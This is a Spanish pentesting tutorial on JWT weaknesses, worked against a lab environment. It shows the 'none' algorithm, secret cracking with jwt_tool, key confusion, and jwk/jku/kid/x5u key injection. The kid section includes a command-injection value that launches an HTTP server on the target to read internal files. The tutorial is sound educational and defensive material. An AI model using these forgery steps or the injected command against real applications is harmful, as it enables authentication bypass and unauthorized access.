Advertencia: La información contenida en este post es solo con fines educativos o para realizar pruebas debidamente autorizadas. Evadir la autenticación o autorización en una aplicación real, puede ser considerado ilegal. Utilice este conocimiento bajo su propio riesgo.
En este articulo, veremos como un mal diseño o una mala configuración de los tokens JWT puede resultar en el compromiso de una aplicación. Para ello, exploraremos algunas opciones de ataque que podrían ser útiles en nuestros procesos de pentesting.
Antes de comenzar a atacar, veamos algunos conceptos básicos:
¿Qué es JWT y donde se utiliza?
Un token web Json, es un formato estandar que permite el intercambio de datos entre dos partes. Es compacto, autocontenido y está firmado digitalmente, lo que garantiza la autenticidad e integridad de los datos.
Estructura de un JWT
Un JWT consta de tres partes separadas por puntos (.
). Cada parte está codificada en base64:
- Header (Encabezado):
- Contiene el tipo de token (JWT) y el algoritmo de firma utilizado, como HMAC SHA256 o RSA.
- Ejemplo:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
- Payload (Carga útil):
- Incluye las «reclamaciones», que son declaraciones sobre el usuario o datos adicionales.
- Ejemplo:
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
- Signature (Firma):
- Se genera combinando el encabezado, la carga útil y un secreto, utilizando el algoritmo especificado. Este secreto puede ser una clave o una llave, y es justamente lo que garantiza la integridad del token, ya que si tanto el Header como el Payload, son modificados, la firma no sería la misma, por lo que el token ya no es válido.
- Ejemplo:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
¿Para qué se usa comúnmente?
- Autenticación: Es comúnmente utilizado en aplicaciones para autenticar usuarios.
- Intercambio de información: Permite transmitir datos de manera segura entre aplicaciones o servicios.
- Autorización: Los JWT pueden incluir permisos y roles para controlar el acceso a recursos.
¿Por qué son vulnerables?
Pareciera que los tokens JWT están preparados para ser seguros, sin embargo, cuando existe una mala implementación, estos pueden ser vulnerados permitiendo que se puedan crear tokens arbitrarios manipulados y estos sean aceptados por la aplicación que los utiliza. Usualmente asociamos las vulnerabilidades a la incorrecta verificación de la firma, ya que es donde radica la confianza del token.
Ahora sí, con los conceptos un poco más claros, veamos cuales son los vectores de ataque:
Para los ejemplos que veremos a continuación, hemos utilizado el sitio jwt.io (para decodificar los tokens) y el entorno vulnerable JWT Hacking Challenges, que puedes descargar desde acá: https://github.com/onsecru/jwt-hacking-challenges/tree/master
Tokens sin firma
El encabezado de un token JWT generalmente lleva, entre otros, los siguientes dos parámetros: el algoritmo («alg») y el tipo de token («typ»). Cuando se tiene una implementación inadecuada dentro de la aplicación, el código simplemente decodifica el valor, sin procesarlo o verificarlo. A partir de esta deficiencia de control, podría especificarse un algoritmo de tipo «none» ya que es soportado por el estandar, evitando la validación de la firma.
Aunque actualmente es difícil encontrar implementaciones en donde no se fuerce a utilizar la firma, algunas implementaciones antiguas todavía son vulnerables a este tipo de ataque. Veamos como reproducirlo:
- Tenemos un token JWT válido que depende de una firma:

- Modificamos la cabecera:
echo {"alg":"none","typ":"JWT"} | base64

- Suprimimos la parte final (la firma), y enviamos el token JWT como parte de la petición. La nueva estructura sería: header.body.

Uso de claves débiles para la firma
El estándar JWT soporta que bajo determinados algoritmos de firma, se utilicen claves secretas basadas en una cadena, como lo son las contraseñas. Cuando existe una implementación débil, la contraseña usada para firmar los tokens JWT puede ser adivinada o crackeada, permitiendo que se generen tokens arbitrarios. Veamos como reproducir este ataque:
- Tenemos un JWT válido que depende de una validación de firma. En este caso, el algoritmo de la firma es HMACSHA256, el cual utiliza una clave secreta

- Adivinarla o predecirla podría ser un trabajo complicado. Sin embargo, utilizando herramientas como JWT_Tool, la cual puedes descargar desde acá: https://github.com/ticarpi/jwt_tool, podemos crackear la contraseña utilizando un diccionario de claves en texto plano:
python jwt_tool.py [TU TOKEN JWT] -C -d [diccionario]

- Como vemos, hemos obtenido la clave secreta, por lo que ahora podremos generar nuestros propios tokens:

- Como vemos, hemos cambiado el contenido del cuerpo, lo cual haría que el token sea inválido si la firma no es correcta. Veamos la respuesta:

Key Confusion (CVE-2016-5431)
Este ataque se produce cuando existe una inadecuada validación de las llaves en la firma de un token. En este caso, el ataque consiste en cambiar el algoritmo, de uno que use llaves como RSA a uno que use claves como HS256, para luego utilizar la llave pública como clave secreta. El servicio acepta el token JWT generado, ya que no espera aceptar tokens con una firma basada en otro algoritmo.
Veamos como reproducirlo:
- Tenemos un token JWT cuya firma está basada en llaves, usando el algoritmo RSASHA256:

- Como no tenemos el par de llaves (pública y privada), realizaremos un ataque de Key Confusion. Para ello, descargaremos la llave publica y la transformaremos:
openssl s_client -connect [servicio HTTPS] 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificado.pem
openssl x509 -pubkey -in certificado.pem -noout > llave_publica.pem

- Ahora, haciendo uso de JWT Tool, vamos a generar un nuevo token mediante Key Confusion:
python jwt_tool.py [JWT token] -X k -pk pubkey.pem

- Ahora vemos que se ha generado un token nuevo, mucho más corto que el anterior, ya que ha cambiado el algoritmo y el tipo de secreto. Validamos que es funcional:

Key Injection
Antes de profundizar en los siguientes vectores de ataque, es necesario mencionar que el estandar JWT solo define el formato para poder representar información en un objeto que sea intercambiable. Por si solo, no cubre las condiciones de seguridad necesarias para garantizar la integridad o confidencialidad. Para cubrir estos aspectos faltantes, existen definiciones como JWS (Json Web Signature) o JWE (Json Web Encryption) que permiten finalmente implementar de forma correcta un token.
Hasta ahora, hemos visto que un token «JWT» contiene una firma que verifica la integridad. La forma de implementación de las firmas, se encuentra especificado en el RFC de JWS (https://datatracker.ietf.org/doc/html/rfc7515#section-4.1.2), por tanto, podemos decir que nuestros token JWT son del tipo JWS. Los token JWT basados en JWE, no los veremos en este artículo, ya en este caso, la carga útil es cifrada.
Si has entendido el concepto hasta acá, podemos continuar. Como explicamos más arriba, existen parámetros que van dentro de la cabecera de un token JWT (que ya sabemos que es de tipo JWS). De todos los que el estándar soporta, ya hemos visto el «alg» y «typ», pero existen otros que debemos tener en cuenta:
- jwk: Json Web Key, que es un formato estandar para representar claves en forma de objeto Json.
- jku: JWK Set URL, es la URL desde el cual se obtiene la llave que permite firmar el JWT. La llave debe estar en formato JWK.
- kid: Key ID, el cual es un identificador de la llave que permite firmar el JWT. Se utiliza cuando existen múltiples llaves para elegir en el servidor.
- x5u: URL X.509, es una URL que referencia a la llave pública o la cadena de certificados que corresponde a la llave utilizada para firmar el JWT.
Ahora, cada uno de los parámetros puede ser atacado de manera diferente, sin embargo, el objetivo siempre es el mismo, generar un JWT firmado con nuestra propia llave, en lugar de la llave del servidor. Veamos cada uno de ellos
Key injection a través de JWK
Una referencia de este ataque es el CVE-2018-0114. En ciertas implementaciones, se coloca la llave pública (con el formato definido – JWK) dentro de la cabecera. Esta llave pública referencia a la llave privada con la que se firmó el token. Sin embargo, cuando la implementación no está bien hecha, el servidor confía directamente en el valor de la cabecera, sin verificar que sea de una lista blanca de llaves públicas. Esto permite que un atacante genere su propio para de llaves (privada-publica), e incruste su JWK, consiguiendo generar tokens falsificados de manera arbitraria.
Veamos como reproducir este ataque:
- Tenemos un token JWT válido, el cual está firmado con una llave RSA. Vemos que en el header, se encuentra el parámetro JWK:

- Ahora, generaremos nuestro propio par de llaves:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key


- Teniendo ambos valores, necesitamos extraer los parámetros n y e para incrustarlos en el parámetro JWK. Para hacer esto, nos apoyaremos de Node JS, y utilizaremos el siguiente script:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("./certificados/keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString('base64'));
console.log('Parameter e: ', publicComponents.e.toString(16));

- También puedes realizar este proceso usando la extensión JWT Editor en Burp Suite, sin embargo, aquí hemos querido ser agnóstico a la herramienta.
- Reemplazaremos los parámetros n y e en el token JWT, y modificaremos las llaves en la firma con nuestro par de llaves:

- Utilizaremos este nuevo JWT para realizar una petición.

- Y vemos que hemos conseguido un token válido y funcional, inyectando el JWK.
Key injection a través de JKU
A diferencia del parámetro JWK, en donde se embebe directamente la llave pública, en algunas implementaciones se utiliza el parámetro JKU, con una URL que contiene la lista de llaves válidas. Al verificar la firma, el servidor obtiene la llave de esta URL. En una implementación mal hecha, el servidor no valida que esta URL sea de un dominio confiable, aceptando una llave arbitraria.
Veamos como reproducir este ataque:
- Tenemos un token JWT válido, el cual está firmado con una llave RSA. Vemos que en el header, se encuentra el parámetro JKU:

- Ahora repetiremos los pasos del ejercicio anterior, para poder crear nuestro par de llaves:


- Una vez realizado esto, guardaremos nuestro JWK en un archivo:

- Y levantaremos un servidor HTTP, para exponer el archivo con la llave pública:

- Ahora, modificaremos el token JWT para cambiar el JKU con nuestro servidor web, y en la firma colocaremos nuestro par de llaves:

- Validamos que nuestro nuevo token JWT sea válido:

Key injection a través de KID
No siempre un sistema, utiliza una única llave para cifrar. Cuando un servidor utiliza diferentes llaves para cifrar datos diferentes, puede que necesite un identificador de la llave correcta (la que permite firmar los tokens JWT), el cual estará embebido en el parámetro KID. Cuando una implementación está mal hecha, no se valida el valor incrustado en el KID, por lo que un atacante podría aprovechar esto para inyectarlo, consiguiendo por ejemplo que se apunte a un archivo bajo su control.
Para representar este escenario vulnerable, no generaremos esta vez un JWT falsificado inyectando una llave propia, sino que aprovecharemos una debilidad en la validación del parámetro KID, para ejecutar un comando y leer archivos internos del sistema:
- Tenemos un JWT valido que lee el archivo de identificadores keyfile.txt alojado de manera interna:

- Inyectaremos el parámetro, agregando lo siguiente:
keyfile.txt; cd ../ && python -m SimpleHTTPServer 4443&

- Ahora, solo ejecutaremos una petición utilizando el token modificado:

- Y con esto hemos conseguido levantar el servidor en el servidor remoto, y nos permite acceder al archivo:

Key injection a través de X5U
Dos referencias a este ataque son las CVE-2017-2800 y CVE-2018-2633. Este ataque es similar a la inyección de la cabecera JKU, sin embargo en vez de apuntar a un archivo con formato JWK, la URL apunta a un certificado X509. Veamos como reproducir este ataque:
- Tenemos un JWT válido, con el parámetro X5U en la cabecera:

- Generaremos nuestro propio par de llaves en formato X509

- Y modificaremos el parámetro apuntando a una URL de nuestro control:

- Utilizaremos este token para realizar una petición:

- Comprobamos que la petición es válida, por lo que el token es funcional.
Existe otro ataque basado en un certificado X509, utilizando el parámetro X5C, el cual es parecido al ataque de JWK, sin embargo, se incrusta un certificado o cadena de certificados x509 representado como una cadena de arrays JSON. Dado que hemos cubierto la inyección de JWK y X5U, no será necesario demostrar la inyección de X5C.
Si bien ha sido un post netamente para ver seguridad ofensiva, no está demás entender también como se puede asegurar una implementación de JWT, por lo que dejo los siguientes recursos útiles:
- JWT Best Current Practices: https://datatracker.ietf.org/doc/rfc8725
- OWASP Cheatsheet JWT for Java: https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
También dejamos algunas recomendaciones generales:
- Utilice una biblioteca segura y actualizada para manejar JWT.
- Asegúrese de que la firma sea válida y que utilice el algoritmo esperado.
- Utilice una clave HMAC fuerte o una clave privada única para firmarlos.
- Asegúrese de que no haya información confidencial expuesta en la carga útil.
- Asegúrese de que los JWT se almacenen y transmitan de forma segura.
Y eso ha sido todo por este artículo. Esperamos que haya sido de utilidad.